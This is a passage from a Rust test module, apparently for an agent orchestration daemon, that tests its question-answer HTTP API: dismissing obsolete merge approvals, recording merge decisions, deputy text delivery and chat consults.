11403 round: 1,
11404 rounds: 4,
11405 red_at_merge: Vec::new(),
11406 });
11407 state
11408 }
11409
11410 #[tokio::test]
11411 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11412 for owner in ["missing", "current", "completed", "later"] {
11413 let fx = Fixture {
11414 home: TempDir::new().unwrap(),
11415 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11416 };
11417 let mut state = obsolete_approval_state();
11418 state.status = RunStatus::Landing;
11419 state.parked = true;
11420 state.driver_exited = true;
11421 let mut q = Question::new(
11422 state.id.clone(),
11423 crate::land::APPROVAL_NODE.into(),
11424 "land".into(),
11425 "Old approval".into(),
11426 "Original evidence".into(),
11427 vec!["merge".into(), "hold".into()],
11428 );
11429 state.land_approval = Some(crate::run::LandApproval {
11430 question: q.id.clone(),
11431 head: "head".into(),
11432 });
11433 state.save_under(fx.home.path()).unwrap();
11434 let stale = state.clone();
11435 fx.questions().put(&mut q).unwrap();
11436 let mut task = Task::new(
11437 "Owner".into(),
11438 "Original instruction".into(),
11439 state.repo.clone(),
11440 Source::Human,
11441 );
11442 task.runs.push(state.id.clone());
11443 task.status = if owner == "completed" {
11444 TaskStatus::Done
11445 } else {
11446 TaskStatus::Parked
11447 };
11448 if owner == "later" {
11449 task.runs.push("later-run".into());
11450 }
11451 if owner != "missing" {
11452 fx.queue().put(&mut task).unwrap();
11453 }
11454 let ui = Arc::new(Ui::new(
11455 fx.queue(),
11456 fx.questions(),
11457 fx.talks(),
11458 fx.runs(),
11459 fx.home.path().into(),
11460 state.repo.clone(),
11461 ));
11462 let response = question_answer(
11463 State(ui),
11464 Path(q.id.clone()),
11465 Ok(Json(NewAnswer {
11466 choice: Some(crate::merge_decision::DISMISS.into()),
11467 text: None,
11468 })),
11469 )
11470 .await
11471 .unwrap();
11472 assert_eq!(
11473 response.0.question.resolution().as_deref(),
11474 Some(crate::merge_decision::DISMISS)
11475 );
11476 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11477 assert_eq!(disk.status, RunStatus::Superseded);
11478 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
11479 assert!(!crate::merge_decision::resumable_hold(&disk));
11480 assert_eq!(
11481 serde_json::to_value(&disk.pr).unwrap(),
11482 serde_json::to_value(&stale.pr).unwrap()
11483 );
11484 assert_eq!(fx.questions().count_open(), 0);
11485 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
11486 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11487 if owner == "missing" {
11488 assert!(fx.queue().list().is_empty());
11489 } else {
11490 let after = fx.queue().get(&task.id).unwrap();
11491 assert_eq!(
11492 after.status,
11493 if owner == "current" {
11494 TaskStatus::Done
11495 } else {
11496 task.status
11497 }
11498 );
11499 assert_eq!(after.runs, task.runs);
11500 assert_eq!(after.instruction, task.instruction);
11501 assert_eq!(after.action_applied(&q.id), owner == "current");
11502 }
11503 }
11504 }
11505
11506 #[tokio::test]
11507 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
11508 let fx = Fixture::start().await;
11509 let mut state = obsolete_approval_state();
11510 state.status = RunStatus::Landing;
11511 state.parked = true;
11512 state.driver_exited = true;
11513 let mut q = Question::new(
11514 state.id.clone(),
11515 crate::land::APPROVAL_NODE.into(),
11516 "land".into(),
11517 "Superseded PR approval".into(),
11518 "Original review evidence".into(),
11519 vec!["merge".into(), "hold".into()],
11520 );
11521 state.land_approval = Some(crate::run::LandApproval {
11522 question: q.id.clone(),
11523 head: "old-reviewed-head".into(),
11524 });
11525 state.save_under(fx.home.path()).unwrap();
11528 let stale_driver = state.clone();
11529 fx.questions().put(&mut q).unwrap();
11530 let path = fx
11531 .home
11532 .path()
11533 .join("questions")
11534 .join(format!("{}.json", q.id));
11535 let mut legacy = serde_json::to_value(&q).unwrap();
11536 legacy["schema"] = 9.into();
11537 legacy.as_object_mut().unwrap().remove("merge_target");
11538 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
11539
11540 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11543 let answer_path = format!("/api/questions/{}/answer", q.id);
11544 let res = fx.post(&answer_path, Some(&body)).await;
11545 assert_eq!(res.status, 200, "{}", res.body);
11546 let disk = fx.questions().get(&q.id).unwrap();
11547 assert_eq!(
11548 disk.resolution().as_deref(),
11549 Some(crate::merge_decision::DISMISS)
11550 );
11551 assert!(disk.detail.starts_with("Original review evidence"));
11552 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
11553 assert_eq!(retired.status, RunStatus::Superseded);
11554 assert_eq!(
11555 serde_json::to_value(&retired.pr).unwrap(),
11556 serde_json::to_value(&state.pr).unwrap()
11557 );
11558 assert!(!retired.merge_decision.as_ref().unwrap().closed);
11559 assert!(!crate::merge_decision::resumable_hold(&retired));
11560 assert!(fx.queue().list().is_empty());
11561 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11562 let addr = Fixture::serve(
11564 fx.home.path(),
11565 PathBuf::from("/repo/magi"),
11566 launch_idle,
11567 None,
11568 )
11569 .await;
11570 let reconnected = Fixture {
11571 home: fx.home,
11572 addr,
11573 };
11574 let listed = reconnected.get("/api/questions").await.json();
11575 assert!(
11576 listed
11577 .as_array()
11578 .unwrap()
11579 .iter()
11580 .all(|q| q["status"] != "open")
11581 );
11582 assert_eq!(listed[0]["id"], q.id, "history remains available");
11583 assert_eq!(
11584 reconnected.get("/api/health").await.json()["questions_open"],
11585 0
11586 );
11587 assert_eq!(
11588 reconnected
11589 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
11590 .await
11591 .status,
11592 409
11593 );
11594 assert!(
11596 reconnected
11597 .questions()
11598 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
11599 .is_err()
11600 );
11601 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
11604 }
11605
11606 #[tokio::test]
11607 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
11608 let fx = Fixture::start().await;
11609 let mut state = obsolete_approval_state();
11610 state.status = RunStatus::Landing;
11611 state.driver_exited = true;
11612 let mut q = Question::new(
11613 state.id.clone(),
11614 crate::land::APPROVAL_NODE.into(),
11615 "land".into(),
11616 "Obsolete approval".into(),
11617 String::new(),
11618 vec!["merge".into(), "hold".into()],
11619 );
11620 state.land_approval = Some(crate::run::LandApproval {
11621 question: q.id.clone(),
11622 head: "head".into(),
11623 });
11624 state.save_under(fx.home.path()).unwrap();
11625 fx.questions().put(&mut q).unwrap();
11626 let mut task = Task::new(
11627 "Owner".into(),
11628 "Original instruction".into(),
11629 state.repo.clone(),
11630 Source::Human,
11631 );
11632 task.runs = vec![state.id.clone(), "later-run".into()];
11633 fx.queue().put(&mut task).unwrap();
11634 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
11635 let claim = fx.queue().claim(&task.id).unwrap();
11636 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11637 let path = format!("/api/questions/{}/answer", q.id);
11638 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11639 assert!(fx.questions().get(&q.id).unwrap().status.open());
11640 drop(claim);
11641 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
11642 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11643 assert!(fx.questions().get(&q.id).unwrap().status.open());
11644 drop(publication);
11645 state.driver_exited = false;
11647 state.driver_pid = None;
11648 state.save_under(fx.home.path()).unwrap();
11649 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11650 state.driver_exited = true;
11651 state.land_armed_head = Some("head".into());
11652 state.save_under(fx.home.path()).unwrap();
11653 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11654 state.land_armed_head = None;
11655 state.save_under(fx.home.path()).unwrap();
11656 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11657 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11658 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
11659 }
11660
11661 #[tokio::test]
11662 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
11663 let fx = Fixture::start().await;
11664 let mut state = obsolete_approval_state();
11665 state.status = RunStatus::Landing;
11666 state.driver_exited = true;
11667 let mut q = Question::new(
11668 state.id.clone(),
11669 crate::land::APPROVAL_NODE.into(),
11670 "land".into(),
11671 "Obsolete approval".into(),
11672 String::new(),
11673 vec!["merge".into(), "hold".into()],
11674 );
11675 state.land_approval = Some(crate::run::LandApproval {
11676 question: q.id.clone(),
11677 head: "head".into(),
11678 });
11679 state.save_under(fx.home.path()).unwrap();
11680 fx.questions().put(&mut q).unwrap();
11681 let mut task = Task::new(
11682 "Owner".into(),
11683 "Original instruction".into(),
11684 state.repo.clone(),
11685 Source::Human,
11686 );
11687 task.runs.push(state.id.clone());
11688 task.status = TaskStatus::Parked;
11689 fx.queue().put(&mut task).unwrap();
11690 state.merge_decision = Some(crate::merge_decision::Decision {
11693 question: q.id.clone(),
11694 target: crate::merge_decision::Target {
11695 pr: state.pr.as_ref().unwrap().url.clone(),
11696 head: "head".into(),
11697 language: "ja".into(),
11698 },
11699 choice: crate::merge_decision::DISMISS.into(),
11700 closed: false,
11701 replacement_run: None,
11702 replacement_pr: None,
11703 });
11704 state.status = RunStatus::Superseded;
11705 state.save_under(fx.home.path()).unwrap();
11706 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11707 let path = format!("/api/questions/{}/answer", q.id);
11708 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11709 let done = fx.queue().get(&task.id).unwrap();
11710 assert_eq!(done.status, TaskStatus::Done);
11711 assert_eq!(done.runs, task.runs);
11712 assert_eq!(done.instruction, task.instruction);
11713 assert!(done.action_applied(&q.id));
11714 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11715 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
11716 assert!(!fx.questions().get(&q.id).unwrap().status.open());
11717 }
11718
11719 #[tokio::test]
11720 async fn merge_decision_api_persists_exact_target_and_selected_action() {
11721 let fx = Fixture {
11722 home: TempDir::new().unwrap(),
11723 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11724 };
11725 for choice in [
11726 crate::land::HOLD,
11727 crate::land::REPAIR,
11728 crate::land::APPROVE,
11729 crate::merge_decision::WITHDRAW,
11730 "reimplement:beta",
11731 ] {
11732 let mut q = Question::new(
11733 "old-run".into(),
11734 crate::land::APPROVAL_NODE.into(),
11735 "land".into(),
11736 "Decision".into(),
11737 "Review findings".into(),
11738 vec![
11739 "merge".into(),
11740 "hold".into(),
11741 crate::land::REPAIR.into(),
11742 crate::merge_decision::WITHDRAW.into(),
11743 "reimplement:beta".into(),
11744 ],
11745 );
11746 q.merge_target = Some(crate::merge_decision::Target {
11747 pr: "https://github.com/example/repo/pull/42".into(),
11748 head: "exact-reviewed-head".into(),
11749 language: "ja".into(),
11750 });
11751 q.consult = Some(ask::ChatConsult {
11752 talk: "another-conversation".into(),
11753 at: jiff::Timestamp::now(),
11754 });
11755 fx.questions().put(&mut q).unwrap();
11756 let ui = Arc::new(Ui::new(
11757 fx.queue(),
11758 fx.questions(),
11759 fx.talks(),
11760 fx.runs(),
11761 fx.home.path().into(),
11762 std::path::PathBuf::from("."),
11763 ));
11764 let response = question_answer(
11765 State(ui.clone()),
11766 Path(q.id.clone()),
11767 Ok(Json(NewAnswer {
11768 choice: Some(choice.into()),
11769 text: None,
11770 })),
11771 )
11772 .await
11773 .unwrap();
11774 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
11775 let disk = fx.questions().get(&q.id).unwrap();
11776 assert_eq!(disk.merge_target, q.merge_target);
11777 assert_eq!(disk.consult, q.consult);
11778 assert!(
11779 disk.answer_authority.is_none(),
11780 "a direct owner card is its own decision"
11781 );
11782 assert_eq!(disk.resolution().as_deref(), Some(choice));
11783 assert!(
11784 question_answer(
11785 State(ui),
11786 Path(q.id.clone()),
11787 Ok(Json(NewAnswer {
11788 choice: Some("merge".into()),
11789 text: None
11790 }))
11791 )
11792 .await
11793 .is_err(),
11794 "an already settled decision cannot turn into merge approval"
11795 );
11796 }
11797 }
11798
11799 #[tokio::test]
11800 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
11801 let fx = Fixture {
11802 home: TempDir::new().unwrap(),
11803 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11804 };
11805 let mut state = crate::land::tests::repair_state(true, true);
11806 state.status = RunStatus::Landing;
11807 state.parked = true;
11808 state.driver_exited = true;
11809 let mut task = Task::new(
11810 "Existing PR owner".into(),
11811 state.instruction.clone(),
11812 state.repo.clone(),
11813 Source::Human,
11814 );
11815 task.runs.push(state.id.clone());
11816 task.status = TaskStatus::Parked;
11817 fx.queue().put(&mut task).unwrap();
11818 let mut q = Question::new(
11819 state.id.clone(),
11820 crate::land::APPROVAL_NODE.into(),
11821 "land".into(),
11822 "Contested merge".into(),
11823 "Original evidence".into(),
11824 vec!["merge".into(), "hold".into()],
11825 );
11826 state.land_approval = Some(crate::run::LandApproval {
11827 question: q.id.clone(),
11828 head: "reviewed-head".into(),
11829 });
11830 state.save_under(fx.home.path()).unwrap();
11831 fx.questions().put(&mut q).unwrap();
11832 task.hold_manual(Some("Pause this PR".into()));
11834 fx.queue().put(&mut task).unwrap();
11835 let ui = Arc::new(Ui::new(
11838 fx.queue(),
11839 fx.questions(),
11840 fx.talks(),
11841 fx.runs(),
11842 fx.home.path().to_path_buf(),
11843 state.repo.clone(),
11844 ));
11845 let response = question_answer(
11846 State(ui),
11847 Path(q.id.clone()),
11848 Ok(Json(NewAnswer {
11849 choice: Some(crate::land::REPAIR.into()),
11850 text: None,
11851 })),
11852 )
11853 .await
11854 .unwrap();
11855 assert_eq!(response.0.question.id, q.id);
11856 let upgraded = fx.questions().get(&q.id).unwrap();
11857 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
11858 assert!(upgraded.detail.starts_with("Original evidence"));
11859 let claim = fx.queue().claim(&task.id).unwrap();
11860 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11861 assert!(
11862 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
11863 "an existing driver keeps its claim"
11864 );
11865 drop(claim);
11866 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11867 let resumed = fx.queue().get(&task.id).unwrap();
11868 assert_eq!(
11869 resumed
11870 .resume_override
11871 .as_ref()
11872 .unwrap()
11873 .pinned_run
11874 .as_deref(),
11875 Some(state.id.as_str())
11876 );
11877 assert!(resumed.status.runnable());
11878 assert_eq!(resumed.instruction, task.instruction);
11879 assert_eq!(resumed.runs, task.runs);
11880 assert!(resumed.action_applied(&q.id));
11881 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11882 assert_eq!(fx.queue().list().len(), 1);
11883 assert_eq!(
11884 fx.queue().get(&task.id).unwrap().resume_override,
11885 resumed.resume_override
11886 );
11887 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11888 assert!(
11889 disk.merge_repairs.is_empty(),
11890 "only the claimed run driver may execute repair"
11891 );
11892 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
11893 }
11894
11895 #[tokio::test]
11896 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
11897 let fx = Fixture::start().await;
11898 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11899 let path = format!("/api/questions/{id}/answer");
11900
11901 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
11902 assert_eq!(res.status, 200, "{}", res.body);
11903 let body = res.json();
11904 assert_eq!(body["status"], "answered");
11905 assert_eq!(body["answer"]["choice"], "Redis");
11906
11907 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
11911 assert_eq!(again.status, 409, "{}", again.body);
11912 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11913 }
11914
11915 #[tokio::test]
11916 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
11917 let home = tempfile::tempdir().unwrap();
11918 let ui = delta_test_ui(home.path());
11919 let mut q = Question::new(
11920 "task".into(),
11921 crate::land::APPROVAL_NODE.into(),
11922 "land".into(),
11923 "Explain?".into(),
11924 String::new(),
11925 vec!["hold".into()],
11926 );
11927 q.deputy = Some(ask::Deputy::new("context".into()));
11928 ui.questions.put(&mut q).unwrap();
11929 let mut cfg = stub_config();
11930 cfg.daemon.max_deputies = 0;
11931 let mut status = crate::daemon::Status::new();
11932 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
11933 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
11934 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
11935 let error = question_say(
11936 State(ui.clone()),
11937 Path(q.id.clone()),
11938 Ok(Json(NewSay {
11939 body: "Explain the findings".into(),
11940 })),
11941 )
11942 .await
11943 .unwrap_err();
11944 assert_eq!(
11945 error.text_reason,
11946 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
11947 );
11948 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
11949
11950 let mut text = Question::new(
11951 "task".into(),
11952 "ask".into(),
11953 "operator".into(),
11954 "Which name?".into(),
11955 String::new(),
11956 vec![],
11957 );
11958 ui.questions.put(&mut text).unwrap();
11959 let Json(view) = question_answer(
11960 State(ui.clone()),
11961 Path(text.id.clone()),
11962 Ok(Json(NewAnswer {
11963 choice: None,
11964 text: Some("chosen name".into()),
11965 })),
11966 )
11967 .await
11968 .unwrap();
11969 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
11970 assert!(!ui.questions.get(&text.id).unwrap().status.open());
11971 }
11972
11973 #[tokio::test]
11974 async fn question_text_handler_admission_without_transport() {
11975 let home = tempfile::tempdir().unwrap();
11976 let ui = delta_test_ui(home.path());
11977 let mut q = Question::new(
11978 "task".into(),
11979 crate::land::APPROVAL_NODE.into(),
11980 "land".into(),
11981 "May this PR merge?".into(),
11982 String::new(),
11983 vec!["hold".into()],
11984 );
11985 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
11986 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11987 ui.questions.put(&mut q).unwrap();
11988 let say = || {
11989 Ok(Json(NewSay {
11990 body: "Explain the findings".into(),
11991 }))
11992 };
11993 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
11994 .await
11995 .unwrap_err();
11996 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
11997 let response = rejected.into_response();
11998 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
11999 .await
12000 .unwrap();
12001 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12002 assert_eq!(body["code"], "question_text_unavailable");
12003 assert_eq!(body["reason"], "deputy_exhausted");
12004 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12005 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12006 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12007 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12008 .await
12009 .unwrap();
12010 assert_eq!(view.text_delivery.state, "live");
12011 assert!(view.question.waiter.is_none());
12012 assert!(view.question.cwd.is_none());
12013 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12014 ui.questions.drop_lease(&q.id);
12015 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12016 .await
12017 .unwrap_err();
12018 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12019 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12020 let _ = question_answer(
12021 State(ui.clone()),
12022 Path(q.id.clone()),
12023 Ok(Json(NewAnswer {
12024 choice: Some("hold".into()),
12025 text: None,
12026 })),
12027 )
12028 .await
12029 .unwrap();
12030 assert_eq!(
12031 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12032 Some("hold")
12033 );
12034 }
12035
12036 #[tokio::test]
12037 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12038 let fx = Fixture::start().await;
12039 let store = fx.questions();
12040 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12041 store
12042 .update(&id, |q| {
12043 q.node = crate::land::APPROVAL_NODE.to_owned();
12044 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12045 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12046 Ok(())
12047 })
12048 .unwrap();
12049 let path = format!("/api/questions/{id}/say");
12050 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12051 assert_eq!(refused.status, 422, "{}", refused.body);
12052 assert!(
12053 refused.json()["error"]
12054 .as_str()
12055 .unwrap()
12056 .contains("deputy_exhausted")
12057 );
12058 assert!(store.get(&id).unwrap().thread.is_empty());
12059
12060 store.beat(&id, ask::WaiterKind::Deputy);
12062 let view = fx.get("/api/questions").await.json();
12063 assert_eq!(view[0]["text_delivery"]["state"], "live");
12064 let accepted = fx
12065 .post(&path, Some(r#"{"body":"explain the findings"}"#))
12066 .await;
12067 assert_eq!(accepted.status, 200, "{}", accepted.body);
12068 let before = std::fs::read(store.path_of(&id)).unwrap();
12069
12070 store.drop_lease(&id);
12073 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12074 assert_eq!(refused.status, 422, "{}", refused.body);
12075 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12076 let held = fx
12077 .post(
12078 &format!("/api/questions/{id}/answer"),
12079 Some(r#"{"choice":"hold"}"#),
12080 )
12081 .await;
12082 assert_eq!(held.status, 200, "{}", held.body);
12083 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12084 }
12085
12086 #[tokio::test]
12087 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12088 let repo = tempfile::tempdir().unwrap();
12089 let mut cfg = stub_config();
12090 cfg.daemon.max_deputies = 0;
12091 std::fs::write(
12092 repo.path().join("magi.toml"),
12093 toml::to_string(&cfg).unwrap(),
12094 )
12095 .unwrap();
12096 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12097 let mut status = crate::daemon::Status::new();
12098 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12099 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12100 let id = ask(&fx, "Explain?", &["hold"]);
12101 fx.questions()
12102 .update(&id, |q| {
12103 q.node = crate::land::APPROVAL_NODE.into();
12104 q.deputy = Some(ask::Deputy::new("context".into()));
12105 q.deputy.as_mut().unwrap().agent = "stub".into();
12106 Ok(())
12107 })
12108 .unwrap();
12109 cfg.daemon.max_deputies = 1;
12110 std::fs::write(
12111 repo.path().join("magi.toml"),
12112 toml::to_string(&cfg).unwrap(),
12113 )
12114 .unwrap();
12115 let view = fx.get("/api/questions").await.json();
12116 assert_eq!(view[0]["deputies_enabled"], true);
12117 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12118 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12119 let res = fx
12120 .post(
12121 &format!("/api/questions/{id}/say"),
12122 Some(r#"{"body":"Please explain"}"#),
12123 )
12124 .await;
12125 assert_eq!(res.status, 422, "{}", res.body);
12126 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12127 }
12128
12129 #[tokio::test]
12130 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12131 let fx = Fixture::start().await;
12132 let id = ask(&fx, "No seat", &[]);
12133 let store = fx.questions();
12134 let before = std::fs::read(store.path_of(&id)).unwrap();
12135 let res = fx
12136 .post(
12137 &format!("/api/questions/{id}/say"),
12138 Some(r#"{"body":"hello"}"#),
12139 )
12140 .await;
12141 assert_eq!(res.status, 422, "{}", res.body);
12142 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12143 let res = fx
12144 .post(
12145 &format!("/api/questions/{id}/answer"),
12146 Some(r#"{"text":"hello"}"#),
12147 )
12148 .await;
12149 assert_eq!(res.status, 200, "{}", res.body);
12150 assert_eq!(
12151 store.get(&id).unwrap().resolution().as_deref(),
12152 Some("hello")
12153 );
12154 }
12155
12156 #[tokio::test]
12157 async fn saying_something_appends_a_turn_without_answering() {
12158 let fx = Fixture::start().await;
12159 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12160 fx.questions().beat(&id, ask::WaiterKind::Asker);
12161 let path = format!("/api/questions/{id}/say");
12162
12163 let res = fx
12164 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12165 .await;
12166 assert_eq!(res.status, 200, "{}", res.body);
12167 let body = res.json();
12168 assert_eq!(body["status"], "open", "talking back is not a decision");
12169 assert_eq!(body["answer"], Value::Null);
12170 assert_eq!(body["thread"][0]["who"], "operator");
12171 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12172 assert_eq!(body["waiting_on_agent"], true);
12173 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12175 }
12176
12177 #[tokio::test]
12178 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12179 let fx = Fixture::start().await;
12180 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12181
12182 let list = fx.get("/api/questions").await.json();
12183 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12184
12185 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12186 assert_eq!(res.status, 409, "{}", res.body);
12187 let q = fx.questions().get(&id).unwrap();
12188 assert!(q.status.open());
12189 assert!(q.consult.is_none());
12190 }
12191
12192 #[tokio::test]
12193 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12194 let fx = Fixture::start().await;
12195 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12196 let cfg = Config {
12197 agents: vec![crate::config::AgentSpec {
12198 id: "mock".to_owned(),
12199 kind: crate::config::AgentKind::Command,
12200 model: None,
12201 command: vec!["true".to_owned()],
12202 extra_args: Vec::new(),
12203 env: Default::default(),
12204 prompt_delivery: None,
12205 }],
12206 ..Config::default()
12207 };
12208 let talk = crate::talk::begin(
12209 &fx.talks(),
12210 &cfg,
12211 fx.home.path().to_path_buf(),
12212 Some("mock"),
12213 )
12214 .unwrap();
12215 let mut task = Task::new(
12216 "t".to_owned(),
12217 "Do it".to_owned(),
12218 PathBuf::from("/repo/magi"),
12219 Source::Agent {
12220 run: talk.id.clone(),
12221 node: crate::queue::CHAT_NODE.to_owned(),
12222 },
12223 );
12224 task.start("20260902-000000-beef".to_owned());
12225 fx.queue().put(&mut task).unwrap();
12226
12227 let list = fx.get("/api/questions").await.json();
12228 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12229 assert_eq!(
12230 list[0]["choices"],
12231 serde_json::json!(["SQLite", "Redis"]),
12232 "the hand-over is never a choice"
12233 );
12234 fx.questions()
12235 .update(&id, |q| {
12236 q.node = crate::land::APPROVAL_NODE.into();
12237 q.choices = vec!["merge".into(), "hold".into()];
12238 Ok(())
12239 })
12240 .unwrap();
12241 let list = fx.get("/api/questions").await.json();
12242 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12243 assert_eq!(list[0]["can_consult_chat"], true);
12244 fx.questions()
12245 .update(&id, |q| {
12246 q.node = crate::bump::NOTICE_NODE.into();
12247 Ok(())
12248 })
12249 .unwrap();
12250 let list = fx.get("/api/questions").await.json();
12251 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12252 assert_eq!(list[0]["can_consult_chat"], false);
12253 }
12254
12255 #[tokio::test]
12256 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12257 let fx = Fixture::start().await;
12258 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12259 fx.questions()
12260 .update(&id, |q| {
12261 q.node = crate::land::APPROVAL_NODE.into();
12262 q.choices = vec!["merge".into(), "hold".into()];
12263 Ok(())
12264 })
12265 .unwrap();
12266 let cfg = Config {
12267 agents: vec![crate::config::AgentSpec {
12268 id: "mock".to_owned(),
12269 kind: crate::config::AgentKind::Command,
12270 model: None,
12271 command: vec!["true".to_owned()],
12272 extra_args: Vec::new(),
12273 env: Default::default(),
12274 prompt_delivery: None,
12275 }],
12276 ..Config::default()
12277 };
12278 let repo = fx.home.path().join("chat-repo");
12280 std::fs::create_dir_all(&repo).unwrap();
12281 let toml = repo.join("magi.toml");
12282 std::fs::write(&toml, "this is = = not toml").unwrap();
12283 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
12284 let mut task = Task::new(
12285 "t".to_owned(),
12286 "Do it".to_owned(),
12287 PathBuf::from("/repo/magi"),
12288 Source::Agent {
12289 run: talk.id.clone(),
12290 node: crate::queue::CHAT_NODE.to_owned(),
12291 },
12292 );
12293 task.start("20260902-000000-beef".to_owned());
12294 fx.queue().put(&mut task).unwrap();
12295
12296 let path = format!("/api/questions/{id}/consult");
12297 let res = fx.post(&path, None).await;
12298 assert!(res.status >= 400, "{}", res.body);
12299 assert!(fx.questions().get(&id).unwrap().consult.is_none());
12300 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
12301
12302 std::fs::write(&toml, "").unwrap();
12303 let res = fx.post(&path, None).await;
12304 assert_eq!(res.status, 202, "{}", res.body);
12305 assert!(fx.questions().get(&id).unwrap().consult.is_some());
12306 let q = fx.questions().get(&id).unwrap();
12307 assert!(q.status.open());
